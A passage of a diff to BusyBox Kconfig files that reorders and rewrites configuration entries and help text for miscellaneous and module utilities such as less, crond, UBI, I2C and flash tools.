-config BUSYBOX_CONFIG_I2CDETECT
-	bool "i2cdetect"
-	default BUSYBOX_DEFAULT_I2CDETECT
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Detect I2C chips.
-
-config BUSYBOX_CONFIG_LESS
-	bool "less"
-	default BUSYBOX_DEFAULT_LESS
-	help
-	  'less' is a pager, meaning that it displays text files. It possesses
-	  a wide array of features, and is an improvement over 'more'.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_MAXLINES
-	int "Max number of input lines less will try to eat"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
-	depends on BUSYBOX_CONFIG_LESS
-
-config BUSYBOX_CONFIG_FEATURE_LESS_BRACKETS
-	bool "Enable bracket searching"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  This option adds the capability to search for matching left and right
-	  brackets, facilitating programming.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_FLAGS
-	bool "Enable -m/-M"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  The -M/-m flag enables a more sophisticated status line.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_TRUNCATE
-	bool "Enable -S"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  The -S flag causes long lines to be truncated rather than
-	  wrapped.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_MARKS
-	bool "Enable marks"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  Marks enable positions in a file to be stored for easy reference.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_REGEXP
-	bool "Enable regular expressions"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  Enable regular expressions, allowing complex file searches.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_WINCH
-	bool "Enable automatic resizing on window size changes"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  Makes less track window size changes.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_ASK_TERMINAL
-	bool "Use 'tell me cursor position' ESC sequence to measure window"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
-	depends on BUSYBOX_CONFIG_FEATURE_LESS_WINCH
-	help
-	  Makes less track window size changes.
-	  If terminal size can't be retrieved and $LINES/$COLUMNS are not set,
-	  this option makes less perform a last-ditch effort to find it:
-	  position cursor to 999,999 and ask terminal to report real
-	  cursor position using "ESC [ 6 n" escape sequence, then read stdin.
-
-	  This is not clean but helps a lot on serial lines and such.
-
-config BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
-	bool "Enable flag changes ('-' command)"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
-	depends on BUSYBOX_CONFIG_LESS
-	help
-	  This enables the ability to change command-line flags within
-	  less itself ('-' keyboard command).
-
-config BUSYBOX_CONFIG_FEATURE_LESS_LINENUMS
-	bool "Enable dynamic switching of line numbers"
-	default BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
-	depends on BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
-	help
-	  Enables "-N" command.
-config BUSYBOX_CONFIG_NANDWRITE
-	bool "nandwrite"
-	default BUSYBOX_DEFAULT_NANDWRITE
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Write to the specified MTD device, with bad blocks awareness
-
-config BUSYBOX_CONFIG_NANDDUMP
-	bool "nanddump"
-	default BUSYBOX_DEFAULT_NANDDUMP
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Dump the content of raw NAND chip
-config BUSYBOX_CONFIG_RFKILL
-	bool "rfkill"
-	default BUSYBOX_DEFAULT_RFKILL # doesn't build on Ubuntu 9.04
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Enable/disable wireless devices.
-
-	  rfkill list : list all wireless devices
-	  rfkill list bluetooth : list all bluetooth devices
-	  rfkill list 1 : list device corresponding to the given index
-	  rfkill block|unblock wlan : block/unblock all wlan(wifi) devices
-
-config BUSYBOX_CONFIG_SETSERIAL
-	bool "setserial"
-	default BUSYBOX_DEFAULT_SETSERIAL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Retrieve or set Linux serial port.
-config BUSYBOX_CONFIG_TASKSET
-	bool "taskset"
-	default BUSYBOX_DEFAULT_TASKSET  # doesn't build on some non-x86 targets (m68k)
-	help
-	  Retrieve or set a processes's CPU affinity.
-	  This requires sched_{g,s}etaffinity support in your libc.
-
-config BUSYBOX_CONFIG_FEATURE_TASKSET_FANCY
-	bool "Fancy output"
-	default BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
-	depends on BUSYBOX_CONFIG_TASKSET
-	help
-	  Add code for fancy output. This merely silences a compiler-warning
-	  and adds about 135 Bytes. May be needed for machines with alot
-	  of CPUs.
-config BUSYBOX_CONFIG_UBIATTACH
-	bool "ubiattach"
-	default BUSYBOX_DEFAULT_UBIATTACH
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Attach MTD device to an UBI device.
-
-config BUSYBOX_CONFIG_UBIDETACH
-	bool "ubidetach"
-	default BUSYBOX_DEFAULT_UBIDETACH
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Detach MTD device from an UBI device.
-
-config BUSYBOX_CONFIG_UBIMKVOL
-	bool "ubimkvol"
-	default BUSYBOX_DEFAULT_UBIMKVOL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Create a UBI volume.
-
-config BUSYBOX_CONFIG_UBIRMVOL
-	bool "ubirmvol"
-	default BUSYBOX_DEFAULT_UBIRMVOL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Delete a UBI volume.
-
-config BUSYBOX_CONFIG_UBIRSVOL
-	bool "ubirsvol"
-	default BUSYBOX_DEFAULT_UBIRSVOL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Resize a UBI volume.
-
-config BUSYBOX_CONFIG_UBIUPDATEVOL
-	bool "ubiupdatevol"
-	default BUSYBOX_DEFAULT_UBIUPDATEVOL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Update a UBI volume.
-config BUSYBOX_CONFIG_UBIRENAME
-	bool "ubirename"
-	default BUSYBOX_DEFAULT_UBIRENAME
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Utility to rename UBI volumes
-config BUSYBOX_CONFIG_WALL
-	bool "wall"
-	default BUSYBOX_DEFAULT_WALL
-	depends on BUSYBOX_CONFIG_FEATURE_UTMP
-	help
-	  Write a message to all users that are logged in.
-
 config BUSYBOX_CONFIG_ADJTIMEX
 	bool "adjtimex"
 	default BUSYBOX_DEFAULT_ADJTIMEX
@@ -266,7 +13,6 @@ config BUSYBOX_CONFIG_ADJTIMEX
 	help
 	  Adjtimex reads and optionally sets adjustment parameters for
 	  the Linux clock adjustment algorithm.
-
 config BUSYBOX_CONFIG_BBCONFIG
 	bool "bbconfig"
 	default BUSYBOX_DEFAULT_BBCONFIG
@@ -287,7 +33,6 @@ config BUSYBOX_CONFIG_FEATURE_COMPRESS_BBCONFIG
 	  be noticeable. Also, if you run executables directly from ROM
 	  and have very little memory, this might not be a win. Otherwise,
 	  you probably want this.
-
 config BUSYBOX_CONFIG_BEEP
 	bool "beep"
 	default BUSYBOX_DEFAULT_BEEP
@@ -310,7 +55,6 @@ config BUSYBOX_CONFIG_FEATURE_BEEP_LENGTH_MS
 	depends on BUSYBOX_CONFIG_BEEP
 	help
 	  Length in ms for default beep.
-
 config BUSYBOX_CONFIG_CHAT
 	bool "chat"
 	default BUSYBOX_DEFAULT_CHAT
@@ -377,14 +121,54 @@ config BUSYBOX_CONFIG_FEATURE_CHAT_CLR_ABORT
 	default BUSYBOX_DEFAULT_FEATURE_CHAT_CLR_ABORT
 	help
 	  Support CLR_ABORT directive.
-
 config BUSYBOX_CONFIG_CHRT
 	bool "chrt"
 	default BUSYBOX_DEFAULT_CHRT
 	help
 	  manipulate real-time attributes of a process.
 	  This requires sched_{g,s}etparam support in your libc.
+config BUSYBOX_CONFIG_CONSPY
+	bool "conspy"
+	default BUSYBOX_DEFAULT_CONSPY
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  A text-mode VNC like program for Linux virtual terminals.
+	  example:  conspy NUM      shared access to console num
+	  or        conspy -nd NUM  screenshot of console num
+	  or        conspy -cs NUM  poor man's GNU screen like
+config BUSYBOX_CONFIG_CROND
+	bool "crond"
+	default BUSYBOX_DEFAULT_CROND
+	select BUSYBOX_CONFIG_FEATURE_SYSLOG
+	help
+	  Crond is a background daemon that parses individual crontab
+	  files and executes commands on behalf of the users in question.
+	  This is a port of dcron from slackware. It uses files of the
+	  format /var/spool/cron/crontabs/<username> files, for example:
+	      $ cat /var/spool/cron/crontabs/root
+	      # Run daily cron jobs at 4:40 every day:
+	      40 4 * * * /etc/cron/daily > /dev/null 2>&1
 
+config BUSYBOX_CONFIG_FEATURE_CROND_D
+	bool "Support option -d to redirect output to stderr"
+	depends on BUSYBOX_CONFIG_CROND
+	default BUSYBOX_DEFAULT_FEATURE_CROND_D
+	help
+	  -d N sets loglevel (0:most verbose) and directs all output to stderr.
+
+config BUSYBOX_CONFIG_FEATURE_CROND_CALL_SENDMAIL
+	bool "Report command output via email (using sendmail)"
+	default BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
+	depends on BUSYBOX_CONFIG_CROND
+	help
+	  Command output will be sent to corresponding user via email.
+
+config BUSYBOX_CONFIG_FEATURE_CROND_DIR
+	string "crond spool directory"
+	default BUSYBOX_DEFAULT_FEATURE_CROND_DIR
+	depends on BUSYBOX_CONFIG_CROND || BUSYBOX_CONFIG_CRONTAB
+	help
+	  Location of crond spool.
 config BUSYBOX_CONFIG_CRONTAB
 	bool "crontab"
 	default BUSYBOX_DEFAULT_CRONTAB
@@ -393,7 +177,6 @@ config BUSYBOX_CONFIG_CRONTAB
 	  the superuser may specify a different user and/or crontab directory.
 	  Note that Busybox binary must be setuid root for this applet to
 	  work properly.
-
 config BUSYBOX_CONFIG_DC
 	bool "dc"
 	default BUSYBOX_DEFAULT_DC
@@ -408,7 +191,6 @@ config BUSYBOX_CONFIG_FEATURE_DC_LIBM
 	help
 	  Enable power and exp functions.
 	  NOTE: This will require libm to be present for linking.
-
 config BUSYBOX_CONFIG_DEVFSD
 	bool "devfsd (obsolete)"
 	default BUSYBOX_DEFAULT_DEVFSD
@@ -465,14 +247,12 @@ config BUSYBOX_CONFIG_FEATURE_DEVFS
 	  tells busybox to look for names like /dev/loop/0 instead of
 	  /dev/loop0. If your /dev directory has normal names instead of
 	  devfs names, you don't want this.
-
 config BUSYBOX_CONFIG_DEVMEM
 	bool "devmem"
 	default BUSYBOX_DEFAULT_DEVMEM
 	help
 	  devmem is a small program that reads and writes from physical
 	  memory using /dev/mem.
-
 config BUSYBOX_CONFIG_EJECT
 	bool "eject"
 	default BUSYBOX_DEFAULT_EJECT
@@ -487,7 +267,6 @@ config BUSYBOX_CONFIG_FEATURE_EJECT_SCSI
 	help
 	  Add the -s option to eject, this allows to eject SCSI-Devices and
 	  usb-storage devices.
-
 config BUSYBOX_CONFIG_FBSPLASH
 	bool "fbsplash"
 	default BUSYBOX_DEFAULT_FBSPLASH
@@ -509,65 +288,31 @@ config BUSYBOX_CONFIG_FBSPLASH
 	  - commands for fifo:
 	    "NN" (ASCII decimal number) - percentage to show on progress bar
 	    "exit" - well you guessed it
-
-config BUSYBOX_CONFIG_FLASHCP
-	bool "flashcp"
-	default BUSYBOX_DEFAULT_FLASHCP  # doesn't build on Ubuntu 8.04
-	help
-	  The flashcp binary, inspired by mtd-utils as of git head 5eceb74f7.
-	  This utility is used to copy images into a MTD device.
-
-config BUSYBOX_CONFIG_FLASH_LOCK
-	bool "flash_lock"
-	default BUSYBOX_DEFAULT_FLASH_LOCK  # doesn't build on Ubuntu 8.04
-	help
-	  The flash_lock binary from mtd-utils as of git head 5ec0c10d0. This
-	  utility locks part or all of the flash device.
-
-config BUSYBOX_CONFIG_FLASH_UNLOCK
-	bool "flash_unlock"
-	default BUSYBOX_DEFAULT_FLASH_UNLOCK  # doesn't build on Ubuntu 8.04
-	help
-	  The flash_unlock binary from mtd-utils as of git head 5ec0c10d0. This
-	  utility unlocks part or all of the flash device.
-
 config BUSYBOX_CONFIG_FLASH_ERASEALL
 	bool "flash_eraseall"
 	default BUSYBOX_DEFAULT_FLASH_ERASEALL  # doesn't build on Ubuntu 8.04
 	help
 	  The flash_eraseall binary from mtd-utils as of git head c4c6a59eb.
 	  This utility is used to erase the whole MTD device.
-
-config BUSYBOX_CONFIG_IONICE
-	bool "ionice"
-	default BUSYBOX_DEFAULT_IONICE
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Set/set program io scheduling class and priority
-	  Requires kernel >= 2.6.13
-
-config BUSYBOX_CONFIG_INOTIFYD
-	bool "inotifyd"
-	default BUSYBOX_DEFAULT_INOTIFYD  # doesn't build on Knoppix 5
-	help
-	  Simple inotify daemon. Reports filesystem changes. Requires
-	  kernel >= 2.6.13
-
-config BUSYBOX_CONFIG_LAST
-	bool "last"
-	default BUSYBOX_DEFAULT_LAST
-	depends on BUSYBOX_CONFIG_FEATURE_WTMP
-	help
-	  'last' displays a list of the last users that logged into the system.
-
-config BUSYBOX_CONFIG_FEATURE_LAST_FANCY
-	bool "Turn on output of extra information"
-	default BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
-	depends on BUSYBOX_CONFIG_LAST
+config BUSYBOX_CONFIG_FLASH_LOCK
+	bool "flash_lock"
+	default BUSYBOX_DEFAULT_FLASH_LOCK  # doesn't build on Ubuntu 8.04
 	help
-	  'last' displays detailed information about the last users that
-	  logged into the system (mimics sysvinit last). +900 bytes.
+	  The flash_lock binary from mtd-utils as of git head 5ec0c10d0. This
+	  utility locks part or all of the flash device.
 
+config BUSYBOX_CONFIG_FLASH_UNLOCK
+	bool "flash_unlock"
+	default BUSYBOX_DEFAULT_FLASH_UNLOCK  # doesn't build on Ubuntu 8.04
+	help
+	  The flash_unlock binary from mtd-utils as of git head 5ec0c10d0. This
+	  utility unlocks part or all of the flash device.
+config BUSYBOX_CONFIG_FLASHCP
+	bool "flashcp"
+	default BUSYBOX_DEFAULT_FLASHCP  # doesn't build on Ubuntu 8.04
+	help
+	  The flashcp binary, inspired by mtd-utils as of git head 5eceb74f7.
+	  This utility is used to copy images into a MTD device.
 config BUSYBOX_CONFIG_HDPARM
 	bool "hdparm"
 	default BUSYBOX_DEFAULT_HDPARM
@@ -626,13 +371,149 @@ config BUSYBOX_CONFIG_FEATURE_HDPARM_HDIO_GETSET_DMA
 	depends on BUSYBOX_CONFIG_HDPARM
 	help
 	  Enables the 'hdparm -d' option to get/set using_dma flag.
+config BUSYBOX_CONFIG_I2CGET
+	bool "i2cget"
+	default BUSYBOX_DEFAULT_I2CGET
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Read from I2C/SMBus chip registers.
+
+config BUSYBOX_CONFIG_I2CSET
+	bool "i2cset"
+	default BUSYBOX_DEFAULT_I2CSET
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Set I2C registers.
+
+config BUSYBOX_CONFIG_I2CDUMP
+	bool "i2cdump"
+	default BUSYBOX_DEFAULT_I2CDUMP
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Examine I2C registers.
+
+config BUSYBOX_CONFIG_I2CDETECT
+	bool "i2cdetect"
+	default BUSYBOX_DEFAULT_I2CDETECT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Detect I2C chips.
+
+config BUSYBOX_CONFIG_INOTIFYD
+	bool "inotifyd"
+	default BUSYBOX_DEFAULT_INOTIFYD  # doesn't build on Knoppix 5
+	help
+	  Simple inotify daemon. Reports filesystem changes. Requires
+	  kernel >= 2.6.13
+config BUSYBOX_CONFIG_IONICE
+	bool "ionice"
+	default BUSYBOX_DEFAULT_IONICE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Set/set program io scheduling class and priority
+	  Requires kernel >= 2.6.13
+config BUSYBOX_CONFIG_LAST
+	bool "last"
+	default BUSYBOX_DEFAULT_LAST
+	depends on BUSYBOX_CONFIG_FEATURE_WTMP
+	help
+	  'last' displays a list of the last users that logged into the system.
+
+config BUSYBOX_CONFIG_FEATURE_LAST_FANCY
+	bool "Turn on output of extra information"
+	default BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
+	depends on BUSYBOX_CONFIG_LAST
+	help
+	  'last' displays detailed information about the last users that
+	  logged into the system (mimics sysvinit last). +900 bytes.
+config BUSYBOX_CONFIG_LESS
+	bool "less"
+	default BUSYBOX_DEFAULT_LESS
+	help
+	  'less' is a pager, meaning that it displays text files. It possesses
+	  a wide array of features, and is an improvement over 'more'.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_MAXLINES
+	int "Max number of input lines less will try to eat"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
+	depends on BUSYBOX_CONFIG_LESS
+
+config BUSYBOX_CONFIG_FEATURE_LESS_BRACKETS
+	bool "Enable bracket searching"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  This option adds the capability to search for matching left and right
+	  brackets, facilitating programming.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_FLAGS
+	bool "Enable -m/-M"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  The -M/-m flag enables a more sophisticated status line.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_TRUNCATE
+	bool "Enable -S"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  The -S flag causes long lines to be truncated rather than
+	  wrapped.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_MARKS
+	bool "Enable marks"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  Marks enable positions in a file to be stored for easy reference.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_REGEXP
+	bool "Enable regular expressions"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  Enable regular expressions, allowing complex file searches.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_WINCH
+	bool "Enable automatic resizing on window size changes"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  Makes less track window size changes.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_ASK_TERMINAL
+	bool "Use 'tell me cursor position' ESC sequence to measure window"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
+	depends on BUSYBOX_CONFIG_FEATURE_LESS_WINCH
+	help
+	  Makes less track window size changes.
+	  If terminal size can't be retrieved and $LINES/$COLUMNS are not set,
+	  this option makes less perform a last-ditch effort to find it:
+	  position cursor to 999,999 and ask terminal to report real
+	  cursor position using "ESC [ 6 n" escape sequence, then read stdin.
+
+	  This is not clean but helps a lot on serial lines and such.
+
+config BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
+	bool "Enable flag changes ('-' command)"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
+	depends on BUSYBOX_CONFIG_LESS
+	help
+	  This enables the ability to change command-line flags within
+	  less itself ('-' keyboard command).
 
+config BUSYBOX_CONFIG_FEATURE_LESS_LINENUMS
+	bool "Enable dynamic switching of line numbers"
+	default BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
+	depends on BUSYBOX_CONFIG_FEATURE_LESS_DASHCMD
+	help
+	  Enables "-N" command.
 config BUSYBOX_CONFIG_LOCK
 	bool "lock"
 	default BUSYBOX_DEFAULT_LOCK
 	help
 	  Small utility for using locks in scripts
-
 config BUSYBOX_CONFIG_MAKEDEVS
 	bool "makedevs"
 	default BUSYBOX_DEFAULT_MAKEDEVS
@@ -664,25 +545,21 @@ config BUSYBOX_CONFIG_FEATURE_MAKEDEVS_TABLE
 	bool "table"
 
 endchoice
-
 config BUSYBOX_CONFIG_MAN
 	bool "man"
 	default BUSYBOX_DEFAULT_MAN
 	help
 	  Format and display manual pages.
-
 config BUSYBOX_CONFIG_MICROCOM
 	bool "microcom"
 	default BUSYBOX_DEFAULT_MICROCOM
 	help
 	  The poor man's minicom utility for chatting with serial port devices.
-
 config BUSYBOX_CONFIG_MOUNTPOINT
 	bool "mountpoint"
 	default BUSYBOX_DEFAULT_MOUNTPOINT
 	help
 	  mountpoint checks if the directory is a mountpoint.
-
 config BUSYBOX_CONFIG_MT
 	bool "mt"
 	default BUSYBOX_DEFAULT_MT
@@ -690,7 +567,19 @@ config BUSYBOX_CONFIG_MT
 	  mt is used to control tape devices. You can use the mt utility
 	  to advance or rewind a tape past a specified number of archive
 	  files on the tape.
+config BUSYBOX_CONFIG_NANDWRITE
+	bool "nandwrite"
+	default BUSYBOX_DEFAULT_NANDWRITE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Write to the specified MTD device, with bad blocks awareness
 
+config BUSYBOX_CONFIG_NANDDUMP
+	bool "nanddump"
+	default BUSYBOX_DEFAULT_NANDDUMP
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Dump the content of raw NAND chip
 config BUSYBOX_CONFIG_RAIDAUTORUN
 	bool "raidautorun"
 	default BUSYBOX_DEFAULT_RAIDAUTORUN
@@ -698,7 +587,6 @@ config BUSYBOX_CONFIG_RAIDAUTORUN
 	help
 	  raidautorun tells the kernel md driver to
 	  search and start RAID arrays.
-
 config BUSYBOX_CONFIG_READAHEAD
 	bool "readahead"
 	default BUSYBOX_DEFAULT_READAHEAD
@@ -716,6 +604,17 @@ config BUSYBOX_CONFIG_READAHEAD
 
 	  As readahead(2) blocks until each file has been read, it is best to
 	  run this applet as a background job.
+config BUSYBOX_CONFIG_RFKILL
+	bool "rfkill"
+	default BUSYBOX_DEFAULT_RFKILL # doesn't build on Ubuntu 9.04
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Enable/disable wireless devices.
+
+	  rfkill list : list all wireless devices
+	  rfkill list bluetooth : list all bluetooth devices
+	  rfkill list 1 : list device corresponding to the given index
+	  rfkill block|unblock wlan : block/unblock all wlan(wifi) devices
 
 config BUSYBOX_CONFIG_RUNLEVEL
 	bool "runlevel"
@@ -726,27 +625,44 @@ config BUSYBOX_CONFIG_RUNLEVEL
 
 	  This applet uses utmp but does not rely on busybox supporing
 	  utmp on purpose. It is used by e.g. emdebian via /etc/init.d/rc.
-
 config BUSYBOX_CONFIG_RX
 	bool "rx"
 	default BUSYBOX_DEFAULT_RX
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Receive files using the Xmodem protocol.
-
+config BUSYBOX_CONFIG_SETSERIAL
+	bool "setserial"
+	default BUSYBOX_DEFAULT_SETSERIAL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Retrieve or set Linux serial port.
 config BUSYBOX_CONFIG_SETSID
 	bool "setsid"
 	default BUSYBOX_DEFAULT_SETSID
 	help
 	  setsid runs a program in a new session
-
 config BUSYBOX_CONFIG_STRINGS
 	bool "strings"
 	default BUSYBOX_DEFAULT_STRINGS
 	help
 	  strings prints the printable character sequences for each file
 	  specified.
+config BUSYBOX_CONFIG_TASKSET
+	bool "taskset"
+	default BUSYBOX_DEFAULT_TASKSET  # doesn't build on some non-x86 targets (m68k)
+	help
+	  Retrieve or set a processes's CPU affinity.
+	  This requires sched_{g,s}etaffinity support in your libc.
 
+config BUSYBOX_CONFIG_FEATURE_TASKSET_FANCY
+	bool "Fancy output"
+	default BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
+	depends on BUSYBOX_CONFIG_TASKSET
+	help
+	  Add code for fancy output. This merely silences a compiler-warning
+	  and adds about 135 Bytes. May be needed for machines with alot
+	  of CPUs.
 config BUSYBOX_CONFIG_TIME
 	bool "time"
 	default BUSYBOX_DEFAULT_TIME
@@ -754,14 +670,12 @@ config BUSYBOX_CONFIG_TIME
 	  The time command runs the specified program with the given arguments.
 	  When the command finishes, time writes a message to standard output
 	  giving timing statistics about this program run.
-
 config BUSYBOX_CONFIG_TIMEOUT
 	bool "timeout"
 	default BUSYBOX_DEFAULT_TIMEOUT
 	help
 	  Runs a program and watches it. If it does not terminate in
 	  specified number of seconds, it is sent a signal.
-
 config BUSYBOX_CONFIG_TTYSIZE
 	bool "ttysize"
 	default BUSYBOX_DEFAULT_TTYSIZE
@@ -770,13 +684,64 @@ config BUSYBOX_CONFIG_TTYSIZE
 	  only height, or both, in any order. It also does not complain on
 	  error, but returns default 80x24.
 	  Usage in shell scripts: width=`ttysize w`.
+config BUSYBOX_CONFIG_UBIATTACH
+	bool "ubiattach"
+	default BUSYBOX_DEFAULT_UBIATTACH
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Attach MTD device to an UBI device.
+
+config BUSYBOX_CONFIG_UBIDETACH
+	bool "ubidetach"
+	default BUSYBOX_DEFAULT_UBIDETACH
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Detach MTD device from an UBI device.
+
+config BUSYBOX_CONFIG_UBIMKVOL
+	bool "ubimkvol"
+	default BUSYBOX_DEFAULT_UBIMKVOL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Create a UBI volume.
+
+config BUSYBOX_CONFIG_UBIRMVOL
+	bool "ubirmvol"
+	default BUSYBOX_DEFAULT_UBIRMVOL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Delete a UBI volume.
+
+config BUSYBOX_CONFIG_UBIRSVOL
+	bool "ubirsvol"
+	default BUSYBOX_DEFAULT_UBIRSVOL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Resize a UBI volume.
 
+config BUSYBOX_CONFIG_UBIUPDATEVOL
+	bool "ubiupdatevol"
+	default BUSYBOX_DEFAULT_UBIUPDATEVOL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Update a UBI volume.
+config BUSYBOX_CONFIG_UBIRENAME
+	bool "ubirename"
+	default BUSYBOX_DEFAULT_UBIRENAME
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Utility to rename UBI volumes
 config BUSYBOX_CONFIG_VOLNAME
 	bool "volname"
 	default BUSYBOX_DEFAULT_VOLNAME
 	help
 	  Prints a CD-ROM volume name.
-
+config BUSYBOX_CONFIG_WALL
+	bool "wall"
+	default BUSYBOX_DEFAULT_WALL
+	depends on BUSYBOX_CONFIG_FEATURE_UTMP
+	help
+	  Write a message to all users that are logged in.
 config BUSYBOX_CONFIG_WATCHDOG
 	bool "watchdog"
 	default BUSYBOX_DEFAULT_WATCHDOG
diff --git a/package/utils/busybox/config/modutils/Config.in b/package/utils/busybox/config/modutils/Config.in
index 8e0e2af..5203db8 100644
--- a/package/utils/busybox/config/modutils/Config.in
+++ b/package/utils/busybox/config/modutils/Config.in
@@ -6,13 +6,6 @@
 
 menu "Linux Module Utilities"
 
-config BUSYBOX_CONFIG_MODINFO
-	bool "modinfo"
-	default BUSYBOX_DEFAULT_MODINFO
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Show information about a Linux Kernel module
-
 config BUSYBOX_CONFIG_MODPROBE_SMALL
 	bool "Simplified modutils"
 	default BUSYBOX_DEFAULT_MODPROBE_SMALL
@@ -44,41 +37,23 @@ config BUSYBOX_CONFIG_MODPROBE_SMALL
 	  - rmmod is an alias to modprobe -r
 	  - depmod generates modules.dep.bb
 
-config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
-	bool "Accept module options on modprobe command line"
-	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
-	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
+config BUSYBOX_CONFIG_DEPMOD
+	bool "depmod"
+	default BUSYBOX_DEFAULT_DEPMOD
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
-	  Allow insmod and modprobe take module options from command line.
-
-config BUSYBOX_CONFIG_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
-	bool "Skip loading of already loaded modules"
-	default BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
-	depends on BUSYBOX_CONFIG_MODPROBE_SMALL
-	help
-	  Check if the module is already loaded.
-
+	  depmod generates modules.dep (and potentially modules.alias
+	  and modules.symbols) that contain dependency information
+	  for modprobe.
 config BUSYBOX_CONFIG_INSMOD
 	bool "insmod"
 	default BUSYBOX_DEFAULT_INSMOD
-	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  insmod is used to load specified modules in the running kernel.
-
-config BUSYBOX_CONFIG_RMMOD
-	bool "rmmod"
-	default BUSYBOX_DEFAULT_RMMOD
-	depends on !BUSYBOX_CONFIG_MODPROBE_SMALL
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
